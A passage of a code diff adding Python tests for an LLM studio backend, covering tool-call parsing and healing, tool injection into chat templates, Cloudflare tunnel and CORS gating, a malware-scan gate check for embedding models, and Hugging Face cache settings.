parse_tool_calls_from_text('foo[ARGS]{"a":1}', enabled_tool_names = {"web_search"}) == [] + ) + + def test_streaming_strip_keeps_inactive_rehearsal(self): + raw = 'answer foo[ARGS]{"x":1} tail' + assert strip_tool_markup_streaming(raw, enabled_tool_names = {"web_search"}) == raw + + def test_streaming_strip_removes_active_rehearsal(self): + raw = 'answer web_search[ARGS]{"q":1} tail' + out = strip_tool_markup_streaming(raw, enabled_tool_names = {"web_search"}) + assert "web_search[ARGS]" not in out + assert out == "answer tail" + + def test_final_strip_keeps_inactive_rehearsal(self): + text = 'foo[ARGS]{"x":1} is just syntax.' + assert strip_tool_markup(text, final = True, enabled_tool_names = {"web_search"}) == text + + def test_gate_none_preserves_legacy_strip_and_parse(self): + text = 'foo[ARGS]{"x":1} tail' + assert self._names(parse_tool_calls_from_text(text)) == ["foo"] + assert strip_tool_markup_streaming(text) == " tail" + + +def test_drain_truncated_enabled_name_json_preserved_when_auto_heal_disabled(): + # F3: with Auto-Heal OFF, a truncated ENABLED-name bare-JSON fragment that did + # not parse must stay visible (disabled-Auto-Heal contract: malformed markup is + # preserved), matching the XML strip in the same drain branch. With Auto-Heal ON + # the same fragment is suppressed. + trunc = '{"name":"web_search","parameters":{"query":"weather' + off, exec_off = _make_loop(turns = [[trunc]], max_tool_iterations = 1, auto_heal_tool_calls = False) + events_off = _collect_events(off) + assert exec_off.calls == [], exec_off.calls + contents_off = "".join(e["text"] for e in events_off if e["type"] == "content") + assert "web_search" in contents_off, contents_off + + on, exec_on = _make_loop(turns = [[trunc]], max_tool_iterations = 1, auto_heal_tool_calls = True) + events_on = _collect_events(on) + assert exec_on.calls == [], exec_on.calls + contents_on = "".join(e["text"] for e in events_on if e["type"] == "content") + assert "web_search" not in contents_on, contents_on + + +def test_looks_like_enabled_bare_json_accepts_function_alias(): + # The safetensors buffering gate must recognise the "function" bare-JSON alias + # the parser accepts, so a truncated/complete {"function":} call is + # buffered/healed instead of streaming as visible content. + from core.inference.safetensors_agentic import _looks_like_enabled_bare_json + + enabled = {"web_search"} + assert _looks_like_enabled_bare_json( + '{"function":"web_search","parameters":{"q":"x"}}', enabled + ) + # A non-tool "function" value is an ordinary JSON answer -> not gated. + assert not _looks_like_enabled_bare_json('{"function":"Alice","parameters":{}}', enabled) + + +class TestFalseAlarmMarkerProse: + def test_leading_marker_prose_streams_intact(self): + # An answer that starts with a literal marker is a false alarm: the + # drain finds no calls and the full prose must reach the client. + text = "[TOOL_CALLS] is the Mistral tool marker. More prose after." + loop, exec_fn = _make_loop(turns = [[text]]) + events = _collect_events(loop) + assert exec_fn.calls == [] + texts = [e["text"] for e in events if e["type"] == "content"] + assert texts and texts[-1] == text + + def test_chained_bare_json_calls_not_replayed_in_history(self): + # Both chained calls execute; the kept content (next-turn assistant + # history) must not contain the second call's raw JSON. + chained = ( + '{"name":"web_search","parameters":{"q":"first"}};' + '{"name":"python","parameters":{"code":"x"}}' + ) + convs = [] + turn_iter = iter([[chained], ["Final answer."]]) + + def gen(messages, active_tools = None): + convs.append([dict(m) for m in messages]) + try: + chunks = next(turn_iter) + except StopIteration: + return + acc = "" + for c in chunks: + acc += c + yield acc + + exec_fn = FakeExecuteTool(["r1", "r2"]) + loop = run_safetensors_tool_loop( + single_turn = gen, + messages = [{"role": "user", "content": "hi"}], + tools = [ + {"type": "function", "function": {"name": "web_search"}}, + {"type": "function", "function": {"name": "python"}}, + ], + execute_tool = exec_fn, + ) + _collect_events(loop) + assert [c[0] for c in exec_fn.calls] == ["web_search", "python"] + assistant = next(m for m in convs[1] if m["role"] == "assistant") + assert '"python"' not in (assistant.get("content") or "") diff --git a/studio/backend/tests/test_safetensors_toolcall_wiring.py b/studio/backend/tests/test_safetensors_toolcall_wiring.py new file mode 100644 index 0000000000..5c298a7966 --- /dev/null +++ b/studio/backend/tests/test_safetensors_toolcall_wiring.py @@ -0,0 +1,179 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Deterministic backend-wiring test for the safetensors / MLX tool-calling path. + +The parser and the cumulative-text state machine are already covered exhaustively by +``test_safetensors_tool_loop.py`` with fake generators. What that suite does not touch is the +*backend's own tool-injection seam*: both ``InferenceBackend`` (transformers) and +``MLXInferenceBackend`` render the prompt through the shared +``apply_chat_template_for_generation(..., tools=...)`` helper and stream cumulative text into the +shared ``run_safetensors_tool_loop`` (see ``core/inference/inference.py`` and +``core/inference/mlx_inference.py`` -- both call the same helper and the same loop, so a single CPU +test of that seam covers the macOS MLX path too). + +This test drives that exact seam with deterministic fakes -- a fake tokenizer that records the +``tools`` it is handed, a canned tool-call generation, and a stub executor -- and asserts the full +agentic chain end to end: + + tools injected into the template -> loop parses the call -> tool dispatched once -> + tool result fed back -> generation re-entered -> final answer streamed. + +It is the deterministic, download-free stand-in for the real-model MLX / GGUF browser tool-calling +end-to-end: it imports no torch / unsloth / mlx, so it runs in the portable Backend CI alongside the +tool-call parser tests. Follow-up to the parser test PRs (#5620 / #5704). +""" + +from core.inference.chat_template_helpers import apply_chat_template_for_generation +from core.inference.safetensors_agentic import run_safetensors_tool_loop + +TOOL_NAME = "get_weather" +TOOL_ARGS = {"city": "Paris"} +FAKE_TOOL = { + "type": "function", + "function": { + "name": TOOL_NAME, + "description": "Get the current weather for a city.", + "parameters": { + "type": "object", + "properties": {"city": {"type": "string"}}, + "required": ["city"], + }, + }, +} +# Full parser matrix lives in test_safetensors_tool_loop.py. +TOOL_CALL_TEXT = '{"name": "get_weather", "arguments": {"city": "Paris"}}' +FINAL_ANSWER = "The weather in Paris is sunny and 22C." +TOOL_RESULT = "Paris: sunny, 22C" + + +class RecordingTokenizer: + """Fake tokenizer that records the ``tools`` handed to ``apply_chat_template``. + + Modelled on ``TestChatTemplateHelper._Tok`` in ``test_safetensors_tool_loop.py``: it accepts the + real helper's kwargs and returns a canned prompt, so the test can assert the backend seam actually + forwarded the tool schema -- a silent drop on a chat-template fallback would leave ``tools_seen`` + holding ``None``. + """ + + def __init__(self): + self.tools_seen: list = [] + self.call_count = 0 + + def apply_chat_template( + self, + messages, + *, + tokenize = False, + add_generation_prompt = True, + **kwargs, + ): + self.call_count += 1 + self.tools_seen.append(kwargs.get("tools")) + return "PROMPT" + + +class StubExecutor: + """Stand-in for ``core.inference.tools.execute_tool``: records calls, returns a fixed result. + + A fake tool name plus this stub means no real python / terminal / web / RAG side effect can run. + """ + + def __init__(self, result: str): + self.result = result + self.calls: list[tuple[str, dict]] = [] + + def __call__( + self, + name, + arguments, + *, + cancel_event = None, + timeout = None, + session_id = None, + rag_scope = None, + disable_sandbox = False, + ): + self.calls.append((name, arguments)) + return self.result + + +def _collect(generator, max_events = 200): + events = [] + for ev in generator: + events.append(ev) + if len(events) >= max_events: + break + return events + + +def _tool_names(tools): + return [(t.get("function") or {}).get("name") for t in (tools or [])] + + +def test_backend_seam_injects_tools_and_drives_full_tool_loop(): + """The shared backend seam forwards tools into the chat template, and the loop parses the call, + dispatches it once, feeds the result back, and re-enters generation for the final answer.""" + tok = RecordingTokenizer() + executor = StubExecutor(TOOL_RESULT) + turns = iter([TOOL_CALL_TEXT, FINAL_ANSWER]) + active_tools_seen: list = [] + conversations_seen: list = [] + + def single_turn(conversation, *, active_tools = None): + # Mirror the real _single_turn: render via the shared helper, then yield cumulative snapshots. + active_tools_seen.append(active_tools) + conversations_seen.append([dict(m) for m in conversation]) + apply_chat_template_for_generation(tok, conversation, tools = active_tools) + text = next(turns) + mid = len(text) // 2 + acc = "" + for chunk in (text[:mid], text[mid:]): + acc += chunk + yield acc + + events = _collect( + run_safetensors_tool_loop( + single_turn = single_turn, + messages = [{"role": "user", "content": "What is the weather in Paris?"}], + tools = [FAKE_TOOL], + execute_tool = executor, + max_tool_iterations = 3, + ) + ) + + # 1. Helper forwarded the tool schema to the tokenizer (seam does not drop tools). + assert tok.tools_seen, "tokenizer.apply_chat_template was never called" + assert tok.tools_seen[0], "tool schema was dropped before reaching the tokenizer" + assert TOOL_NAME in _tool_names(tok.tools_seen[0]) + + # 2. Loop offered the tool to the first generation turn. + assert active_tools_seen and active_tools_seen[0] is not None + assert TOOL_NAME in _tool_names(active_tools_seen[0]) + + # 3 / 4 / 5. Exactly one tool_start, one dispatch with parsed args, one tool_end with the result. + tool_starts = [e for e in events if e["type"] == "tool_start"] + tool_ends = [e for e in events if e["type"] == "tool_end"] + assert len(tool_starts) == 1 and tool_starts[0]["tool_name"] == TOOL_NAME + assert executor.calls == [(TOOL_NAME, TOOL_ARGS)], executor.calls + assert len(tool_ends) == 1 and tool_ends[0]["result"] == TOOL_RESULT + + # 6. Final answer streams after the tool result: loop appended it and re-entered generation. + contents = [e for e in events if e["type"] == "content"] + assert contents and FINAL_ANSWER in contents[-1]["text"] + last_tool_end_idx = max(i for i, e in enumerate(events) if e["type"] == "tool_end") + last_content_idx = max(i for i, e in enumerate(events) if e["type"] == "content") + assert last_content_idx > last_tool_end_idx, "final answer must stream after the tool result" + + # 6b. Tool result fed back into the conversation before the final turn (6 alone misses this: + # the fake generation ignores the conversation). + assert len(conversations_seen) >= 2, "loop did not re-enter generation after the tool call" + final_turn_convo = conversations_seen[1] + assert any( + TOOL_RESULT in str(m.get("content", "")) for m in final_turn_convo + ), "tool result was not fed back into the conversation before the final generation turn" + + # 7. Guard: raw tool-call markup never leaked to the client as content. + for e in contents: + assert "" not in e["text"] + assert TOOL_NAME not in e["text"] diff --git a/studio/backend/tests/test_secure_tunnel_gate.py b/studio/backend/tests/test_secure_tunnel_gate.py index 469a1619f5..1f7608a4fc 100644 --- a/studio/backend/tests/test_secure_tunnel_gate.py +++ b/studio/backend/tests/test_secure_tunnel_gate.py @@ -21,8 +21,9 @@ from run import _cloudflare_tunnel_should_start as should_start # noqa: E402 @pytest.mark.parametrize( "cloudflare,host,secure,api_only,is_colab,expected", [ - # Non-secure: historical 0.0.0.0-only behaviour preserved. + # Non-secure wildcard binds tunnel by default. (True, "0.0.0.0", False, False, False, True), + (True, "::", False, False, False, True), (True, "127.0.0.1", False, False, False, False), (True, "localhost", False, False, False, False), # --secure tunnels a loopback bind too. @@ -30,12 +31,18 @@ from run import _cloudflare_tunnel_should_start as should_start # noqa: E402 (True, "0.0.0.0", True, False, False, True), # --no-cloudflare always wins. (False, "0.0.0.0", False, False, False, False), + (False, "::", False, False, False, False), (False, "127.0.0.1", True, False, False, False), - # api-only and Colab never tunnel. + # Non-secure api-only never tunnels (Tauri). (True, "0.0.0.0", False, True, False, False), - (True, "127.0.0.1", True, True, False, False), + (True, "::", False, True, False, False), + # --secure tunnels even api-only (headless secure API server). + (True, "127.0.0.1", True, True, False, True), + # Colab never tunnels, even --secure. (True, "0.0.0.0", False, False, True, False), + (True, "::", False, False, True, False), (True, "127.0.0.1", True, False, True, False), + (True, "127.0.0.1", True, True, True, False), ], ) def test_cloudflare_gate(cloudflare, host, secure, api_only, is_colab, expected): @@ -60,6 +67,20 @@ def test_run_server_accepts_secure_kwarg(): assert inspect.signature(run.run_server).parameters["secure"].default is False +def test_arg_parser_secure_polarity_and_not_secure_alias(): + # --secure/--no-secure is the documented flag; --not-secure is a hidden, + # back-compat alias for --no-secure. Last flag wins (BooleanOptionalAction). + import run + + parser = run._build_arg_parser() + assert parser.parse_args([]).secure is False + assert parser.parse_args(["--secure"]).secure is True + assert parser.parse_args(["--no-secure"]).secure is False + assert parser.parse_args(["--not-secure"]).secure is False + assert parser.parse_args(["--secure", "--not-secure"]).secure is False + assert parser.parse_args(["--not-secure", "--secure"]).secure is True + + def test_run_server_accepts_enable_tools_kwarg(): import inspect @@ -115,7 +136,7 @@ def test_startup_output_emits_tool_notice_on_network_bind(capsys, monkeypatch): import run monkeypatch.setattr(run, "_verify_global_reachability", lambda *a, **k: None) - monkeypatch.setattr(run, "_print_cloudflare_line", lambda: None) + monkeypatch.setattr(run, "_print_cloudflare_line", lambda *a, **k: None) monkeypatch.setattr(run, "_localhost_ipv6_mismatch_url", lambda *a, **k: None) run._emit_startup_output("0.0.0.0", 8000, "0.0.0.0", secure = False, enable_tools = None) @@ -145,6 +166,49 @@ def test_failclosed_message_present_in_source(): # The exact, user-facing fail-closed message must not drift. src = (_BACKEND / "run.py").read_text(encoding = "utf-8") assert ( - "A secure Cloudflare link is not allowed, use --not-secure which provides a 0.0.0.0 link" + "A secure Cloudflare link is not allowed, use --no-secure which provides a 0.0.0.0 link" in src ) + + +@pytest.mark.parametrize( + "api_only,secure,expected", + [ + (False, False, ["*"]), # plain server: any origin + (False, True, ["*"]), # secure UI server: any origin + (True, True, ["*"]), # secure api-only: remote browsers need any origin + (True, False, "tauri"), # local api-only: locked to the Tauri app + ], +) +def test_cors_origins_for_mode(api_only, secure, expected): + from utils.host_policy import cors_origins_for_mode + origins = cors_origins_for_mode(api_only = api_only, secure = secure) + if expected == "tauri": + assert origins != ["*"] and any(o.startswith("tauri://") for o in origins) + else: + assert origins == expected + + +def test_run_server_exports_secure_env_for_cors(): + # run_server must export UNSLOTH_SECURE before importing main so the CORS + # profile can tell remote secure serving from local Tauri use. + src = (_BACKEND / "run.py").read_text(encoding = "utf-8") + assert 'os.environ["UNSLOTH_SECURE"] = "1"' in src + + +def test_run_server_emit_tauri_port_defaults_on(): + # Default on keeps the desktop app's stdout contract; the headless + # `run --api-only` path opts out explicitly. + import inspect + + import run + + params = inspect.signature(run.run_server).parameters + assert "emit_tauri_port" in params + assert params["emit_tauri_port"].default is True + + +def test_tauri_port_print_is_gated_in_source(): + # The TAURI_PORT line must depend on emit_tauri_port, not api_only alone. + src = (_BACKEND / "run.py").read_text(encoding = "utf-8") + assert "if api_only and emit_tauri_port:" in src diff --git a/studio/backend/tests/test_security_gate_consistency.py b/studio/backend/tests/test_security_gate_consistency.py index db66df8a30..b5f1069f12 100644 --- a/studio/backend/tests/test_security_gate_consistency.py +++ b/studio/backend/tests/test_security_gate_consistency.py @@ -99,3 +99,16 @@ def test_malware_and_consent_gates_cover_the_lora_base(): if runs_gate and not resolves_base: offenders.append(f"{rel} runs a load gate but never resolves the LoRA base") assert not offenders, "\n".join(offenders) + + +def test_rag_embedding_path_runs_the_malware_gate(): + """The RAG embedding model is set through /settings and later loaded by + SentenceTransformer, which deserializes pickles; both sites must run the malware gate + or a flagged repo loads unscanned (bypassing the normal model-load protections).""" + offenders = [] + for rel in ("routes/settings.py", "core/rag/embeddings.py"): + if "evaluate_file_security(" not in (_BACKEND / rel).read_text(): + offenders.append( + f"{rel} loads/persists an embedding model without evaluate_file_security" + ) + assert not offenders, "\n".join(offenders) diff --git a/studio/backend/tests/test_setup_cache_env_hf_home.py b/studio/backend/tests/test_setup_cache_env_hf_home.py new file mode 100644 index 0000000000..4520c93a51 --- /dev/null +++ b/studio/backend/tests/test_setup_cache_env_hf_home.py @@ -0,0 +1,125 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""_setup_cache_env() must seed HF_HUB_CACHE / HF_XET_CACHE from a user-set +HF_HOME, so models download to and load from the same custom location (issue +#5182). Both the Xet and HTTP-fallback download workers call snapshot_download +without a cache_dir, so they follow HF_HUB_CACHE; getting it right here fixes +detection and both transports at once. +""" + +import importlib.util +import sys +from pathlib import Path + +import pytest + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +_STORAGE_ROOTS_PATH = Path(__file__).resolve().parent.parent / "utils/paths/storage_roots.py" + + +@pytest.fixture(autouse = True) +def _isolate_studio_home(monkeypatch, tmp_path): + # Keep _setup_cache_env's UV/VLLM mkdirs out of the real ~/.unsloth/studio. + monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path / "studio")) + + +def _load_storage_roots(): + spec = importlib.util.spec_from_file_location("storage_roots_under_test", _STORAGE_ROOTS_PATH) + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + return module + + +def _clear_hf_env(monkeypatch): + for key in ("HF_HOME", "HF_HUB_CACHE", "HF_XET_CACHE", "HUGGINGFACE_HUB_CACHE"): + monkeypatch.delenv(key, raising = False) + + +def test_custom_hf_home_seeds_hub_and_xet(monkeypatch, tmp_path): + sr = _load_storage_roots() + _clear_hf_env(monkeypatch) + custom = tmp_path / "shared" / "huggingface" + monkeypatch.setenv("HF_HOME", str(custom)) + + sr._setup_cache_env() + + import os + + assert os.environ["HF_HUB_CACHE"] == str(custom / "hub") + assert os.environ["HF_XET_CACHE"] == str(custom / "xet") + + +def test_default_when_hf_home_unset(monkeypatch, tmp_path): + sr = _load_storage_roots() + _clear_hf_env(monkeypatch) + monkeypatch.setenv("XDG_CACHE_HOME", str(tmp_path / "xdg")) + + sr._setup_cache_env() + + import os + + expected = tmp_path / "xdg" / "huggingface" + assert os.environ["HF_HUB_CACHE"] == str(expected / "hub") + + +def test_explicit_hub_cache_is_not_overridden(monkeypatch, tmp_path): + sr = _load_storage_roots() + _clear_hf_env(monkeypatch) + monkeypatch.setenv("HF_HOME", str(tmp_path / "home")) + explicit = tmp_path / "explicit" / "hub" + monkeypatch.setenv("HF_HUB_CACHE", str(explicit)) + + sr._setup_cache_env() + + import os + + assert os.environ["HF_HUB_CACHE"] == str(explicit) + + +def test_legacy_huggingface_hub_cache_alias_is_honored(monkeypatch, tmp_path): + sr = _load_storage_roots() + _clear_hf_env(monkeypatch) + monkeypatch.setenv("HF_HOME", str(tmp_path / "home")) + legacy = tmp_path / "legacy" / "hub" + monkeypatch.setenv("HUGGINGFACE_HUB_CACHE", str(legacy)) + + sr._setup_cache_env() + + import os + + assert os.environ["HF_HUB_CACHE"] == str(legacy) + + +def test_whitespace_hf_home_falls_back_to_default(monkeypatch, tmp_path): + # A blank/whitespace HF_HOME must not become " /hub"; fall back to default. + sr = _load_storage_roots() + _clear_hf_env(monkeypatch) + monkeypatch.setenv("HF_HOME", " ") + monkeypatch.setenv("XDG_CACHE_HOME", str(tmp_path / "xdg")) + + sr._setup_cache_env() + + import os + + assert os.environ["HF_HUB_CACHE"] == str(tmp_path / "xdg" / "huggingface" / "hub") + + +def test_unwritable_hf_home_does_not_crash(monkeypatch, tmp_path): + # HF_HOME under a regular file -> mkdir fails; startup must not crash and the + # env var is still set (HF surfaces a clear error later, at download time). + blocker = tmp_path / "blocker" + blocker.write_text("not a dir") + unwritable = blocker / "hf" + sr = _load_storage_roots() + _clear_hf_env(monkeypatch) + monkeypatch.setenv("HF_HOME", str(unwritable)) + + sr._setup_cache_env() # must not raise + + import os + + assert os.environ["HF_HUB_CACHE"] == str(unwritable / "hub") diff --git a/studio/backend/tests/test_sf_client_tools_passthrough.py b/studio/backend/tests/test_sf_client_tools_passthrough.py new file mode 100644 index 0000000000..01905b712c --- /dev/null +++ b/studio/backend/tests/test_sf_client_tools_passthrough.py @@ -0,0 +1,786 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Client-tools passthrough healing for the safetensors/MLX backend. + +Parity for #6801: when a NON-GGUF model is loaded and the request declares its +own ``tools`` with server-side tools OFF, text-form tool calls are promoted back +into structured ``tool_calls`` (declared tools only) via the shared healer. MLX +rides the same orchestrator path, so a single scripted backend covers both. +""" + +import asyncio +import json +from types import SimpleNamespace + +from models.inference import ChatCompletionRequest, ChatMessage +from routes.inference import openai_chat_completions +from core.inference.api_monitor import ApiMonitor + + +LOOKUP_TOOL = { + "type": "function", + "function": { + "name": "lookup", + "description": "Look something up", + "parameters": { + "type": "object", + "properties": {"q": {"type": "string"}}, + "required": ["q"], + }, + }, +} +SEARCH_TOOL = { + "type": "function", + "function": { + "name": "search", + "parameters": { + "type": "object", + "properties": {"query": {"type": "string"}}, + "required": ["query"], + }, + }, +} + +_CALL_XML = '{"name": "lookup", "arguments": {"q": "cats"}}' +_SEARCH_XML = '{"name": "search", "arguments": {"query": "dogs"}}' + + +class _Request: + state = SimpleNamespace() + url = SimpleNamespace(path = "/v1/chat/completions") + method = "POST" + scope: dict = {} + + async def is_disconnected(self): + return False + + +class _ScriptedBackend: + """Non-GGUF backend: ``generate_chat_response`` replays scripted + CUMULATIVE snapshots. ``responder(messages, tools)`` returns the snapshot + list for one generation, so nudge tests can vary output across turns.""" + + active_model_name = "sf-model" + + def __init__( + self, + responder, + *, + stats = None, + ): + self.models = { + "sf-model": { + "chat_template_info": {"template": " chatml"}, + "context_length": 2048, + } + } + self._responder = responder + self._stats = stats + self.calls: list = [] + self.reset_count = 0 + + def generate_chat_response( + self, + *, + messages, + tools = None, + stats_holder = None, + **kwargs, + ): + self.calls.append({"messages": messages, "tools": tools, **kwargs}) + snapshots = self._responder(messages, tools) + if stats_holder is not None and self._stats is not None: + stats_holder["stats"] = self._stats + for snap in snapshots: + yield snap + + def reset_generation_state(self): + self.reset_count += 1 + + +def _fixed(*snapshots): + """Responder that always replays the given cumulative snapshots.""" + return lambda messages, tools: list(snapshots) + + +def _llama_stub(): + return SimpleNamespace( + is_loaded = False, + supports_tools = False, + is_vision = False, + context_length = None, + ) + + +def _install( + monkeypatch, + backend, + *, + supports_tools = True, +): + import routes.inference as inf + from state.tool_policy import reset_tool_policy + + reset_tool_policy() + monitor = ApiMonitor(max_entries = 8) + monkeypatch.setattr(inf, "api_monitor", monitor) + monkeypatch.setattr(inf, "get_llama_cpp_backend", lambda: _llama_stub()) + monkeypatch.setattr(inf, "get_inference_backend", lambda: backend) + monkeypatch.setattr( + inf, + "_detect_safetensors_features", + lambda *a, **k: {"supports_tools": supports_tools}, + ) + return monitor + + +def _request(**kwargs): + base = dict(model = "default", messages = [ChatMessage(role = "user", content = "hi")]) + base.update(kwargs) + return ChatCompletionRequest(**base) + + +def _call(payload, monkeypatch, backend, **install_kwargs): + _install(monkeypatch, backend, **install_kwargs) + + async def _run(): + return await openai_chat_completions(payload, request = _Request(), current_subject = "u") + + return asyncio.run(_run()) + + +def _json_body(response): + return json.loads(response.body if hasattr(response, "body") else response.content) + + +def _collect_sse(response): + async def _run(): + return [c async for c in response.body_iterator] + + return asyncio.run(_run()) + + +def _sse_objects(chunks): + out = [] + for chunk in chunks: + if isinstance(chunk, bytes): + chunk = chunk.decode() + for line in str(chunk).splitlines(): + if line.startswith("data: "): + data = line.removeprefix("data: ") + if data != "[DONE]": + out.append(json.loads(data)) + return out + + +# ── Non-streaming ───────────────────────────────────────────────── + + +def test_xml_healed_to_tool_calls_non_streaming(monkeypatch): + backend = _ScriptedBackend(_fixed(_CALL_XML)) + payload = _request(tools = [LOOKUP_TOOL], stream = False) + body = _json_body(_call(payload, monkeypatch, backend)) + choice = body["choices"][0] + assert choice["finish_reason"] == "tool_calls" + assert choice["message"]["content"] is None + calls = choice["message"]["tool_calls"] + assert len(calls) == 1 + assert calls[0]["function"]["name"] == "lookup" + assert json.loads(calls[0]["function"]["arguments"]) == {"q": "cats"} + # The client tools reached the generator (template injection). + assert backend.calls[0]["tools"] == [LOOKUP_TOOL] + + +def test_undeclared_call_stays_text(monkeypatch): + xml = '{"name": "other", "arguments": {}}' + backend = _ScriptedBackend(_fixed(xml)) + payload = _request(tools = [LOOKUP_TOOL], stream = False) + body = _json_body(_call(payload, monkeypatch, backend)) + choice = body["choices"][0] + assert choice["finish_reason"] == "stop" + assert choice["message"].get("tool_calls") is None + assert choice["message"]["content"] == xml + + +def test_opt_out_relays_verbatim(monkeypatch): + backend = _ScriptedBackend(_fixed(_CALL_XML)) + payload = _request(tools = [LOOKUP_TOOL], stream = False, auto_heal_tool_calls = False) + body = _json_body(_call(payload, monkeypatch, backend)) + choice = body["choices"][0] + assert choice["finish_reason"] == "stop" + assert choice["message"].get("tool_calls") is None + assert choice["message"]["content"] == _CALL_XML + + +def test_env_kill_switch_relays_verbatim(monkeypatch): + import core.inference.passthrough_healing as ph + + monkeypatch.setattr(ph, "_HEALING_DISABLED", True) + backend = _ScriptedBackend(_fixed(_CALL_XML)) + payload = _request(tools = [LOOKUP_TOOL], stream = False) + body = _json_body(_call(payload, monkeypatch, backend)) + choice = body["choices"][0] + assert choice["finish_reason"] == "stop" + assert choice["message"].get("tool_calls") is None + assert choice["message"]["content"] == _CALL_XML + + +def test_no_tools_request_untouched(monkeypatch): + backend = _ScriptedBackend(_fixed("just a plain answer")) + payload = _request(stream = False) + body = _json_body(_call(payload, monkeypatch, backend)) + # No tools and no tool messages -> plain path, normal ChatCompletion. + choice = body["choices"][0] + assert choice["finish_reason"] == "stop" + assert choice["message"]["content"] == "just a plain answer" + assert choice["message"].get("tool_calls") is None + + +def test_prose_around_call_retained(monkeypatch): + text = "Let me look:\n" + _CALL_XML + "\ndone" + backend = _ScriptedBackend(_fixed(text)) + payload = _request(tools = [LOOKUP_TOOL], stream = False) + body = _json_body(_call(payload, monkeypatch, backend)) + choice = body["choices"][0] + assert choice["finish_reason"] == "tool_calls" + assert choice["message"]["content"] == "Let me look:\n\ndone" + assert choice["message"]["tool_calls"][0]["function"]["name"] == "lookup" + + +def test_empty_output_is_valid_stop(monkeypatch): + backend = _ScriptedBackend(_fixed("")) + payload = _request(tools = [LOOKUP_TOOL], stream = False) + body = _json_body(_call(payload, monkeypatch, backend)) + choice = body["choices"][0] + assert choice["finish_reason"] == "stop" + assert choice["message"]["content"] in ("", None) + assert choice["message"].get("tool_calls") is None + + +def test_tool_role_follow_up_turn_preserves_history(monkeypatch): + backend = _ScriptedBackend(_fixed("The weather is sunny.")) + payload = _request( + tools = [LOOKUP_TOOL], + stream = False, + messages = [ + ChatMessage(role = "user", content = "weather?"), + ChatMessage( + role = "assistant", + content = None, + tool_calls = [ + { + "id": "call_0", + "type": "function", + "function": {"name": "lookup", "arguments": '{"q": "weather"}'}, + } + ], + ), + ChatMessage(role = "tool", tool_call_id = "call_0", content = "sunny"), + ], + ) + body = _json_body(_call(payload, monkeypatch, backend)) + assert body["choices"][0]["message"]["content"] == "The weather is sunny." + # The tool history reached the generator intact (role=tool + assistant.tool_calls). + sent = backend.calls[0]["messages"] + roles = [m["role"] for m in sent] + assert "tool" in roles + assistant = next(m for m in sent if m["role"] == "assistant") + assert assistant.get("tool_calls") + + +def test_dict_arguments_history_does_not_crash(monkeypatch): + # Non-spec client: assistant tool_calls[].function.arguments as a dict. + backend = _ScriptedBackend(_fixed("ok")) + payload = _request( + tools = [LOOKUP_TOOL], + stream = False, + messages = [ + ChatMessage(role = "user", content = "hi"), + ChatMessage( + role = "assistant", + content = None, + tool_calls = [ + { + "id": "call_0", + "type": "function", + "function": {"name": "lookup", "arguments": {"q": "x"}}, + } + ], + ), + ChatMessage(role = "tool", tool_call_id = "call_0", content = "y"), + ], + ) + body = _json_body(_call(payload, monkeypatch, backend)) + assert body["choices"][0]["message"]["content"] == "ok" + + +def test_forced_tool_choice_narrows_promotion(monkeypatch): + # tool_choice forces `search`; a `lookup` text call must NOT promote. + backend = _ScriptedBackend(_fixed(_CALL_XML)) + payload = _request( + tools = [LOOKUP_TOOL, SEARCH_TOOL], + stream = False, + tool_choice = {"type": "function", "function": {"name": "search"}}, + ) + body = _json_body(_call(payload, monkeypatch, backend)) + choice = body["choices"][0] + assert choice["finish_reason"] == "stop" + assert choice["message"].get("tool_calls") is None + + +def test_parallel_cap_non_streaming(monkeypatch): + backend = _ScriptedBackend(_fixed(_CALL_XML + _SEARCH_XML)) + payload = _request(tools = [LOOKUP_TOOL, SEARCH_TOOL], stream = False, parallel_tool_calls = False) + body = _json_body(_call(payload, monkeypatch, backend)) + calls = body["choices"][0]["message"]["tool_calls"] + assert len(calls) == 1 + assert calls[0]["function"]["name"] == "lookup" + + +def test_usage_recorded_when_stats_present(monkeypatch): + stats = {"usage": {"prompt_tokens": 7, "completion_tokens": 3, "total_tokens": 10}} + backend = _ScriptedBackend(_fixed(_CALL_XML), stats = stats) + payload = _request(tools = [LOOKUP_TOOL], stream = False) + monitor = _install(monkeypatch, backend) + + async def _run(): + return await openai_chat_completions(payload, request = _Request(), current_subject = "u") + + asyncio.run(_run()) + [entry] = monitor.snapshot() + assert entry["prompt_tokens"] == 7 + assert entry["completion_tokens"] == 3 + + +# ── Nudge ───────────────────────────────────────────────────────── + + +def test_nudge_default_off_single_generation(monkeypatch): + # Signal present but unparseable; without opt-in, no retry. + truncated = '{"name": "lookup"' + backend = _ScriptedBackend(_fixed(truncated)) + payload = _request(tools = [LOOKUP_TOOL], stream = False) + _call(payload, monkeypatch, backend) + assert len(backend.calls) == 1 + + +def test_nudge_opt_in_retry_recovers(monkeypatch): + truncated = '{"name": "lookup"' + + def responder(messages, tools): + nudged = any( + "native tool-call format" in (m.get("content") or "") + for m in messages + if m.get("role") == "user" + ) + return [_CALL_XML] if nudged else [truncated] + + backend = _ScriptedBackend(responder) + payload = _request(tools = [LOOKUP_TOOL], stream = False, nudge_tool_calls = True) + body = _json_body(_call(payload, monkeypatch, backend)) + assert len(backend.calls) == 2 + choice = body["choices"][0] + assert choice["finish_reason"] == "tool_calls" + assert choice["message"]["tool_calls"][0]["function"]["name"] == "lookup" + + +def test_nudge_double_failure_relays_original(monkeypatch): + truncated = '{"name": "lookup"' + backend = _ScriptedBackend(_fixed(truncated)) + payload = _request(tools = [LOOKUP_TOOL], stream = False, nudge_tool_calls = True) + body = _json_body(_call(payload, monkeypatch, backend)) + assert len(backend.calls) == 2 # exactly one retry + choice = body["choices"][0] + assert choice["finish_reason"] == "stop" + assert choice["message"]["content"] == truncated + + +# ── Streaming ───────────────────────────────────────────────────── + + +def test_streaming_heals_split_call_into_one_delta(monkeypatch): + # Cumulative snapshots that build the call across many increments. + pieces = 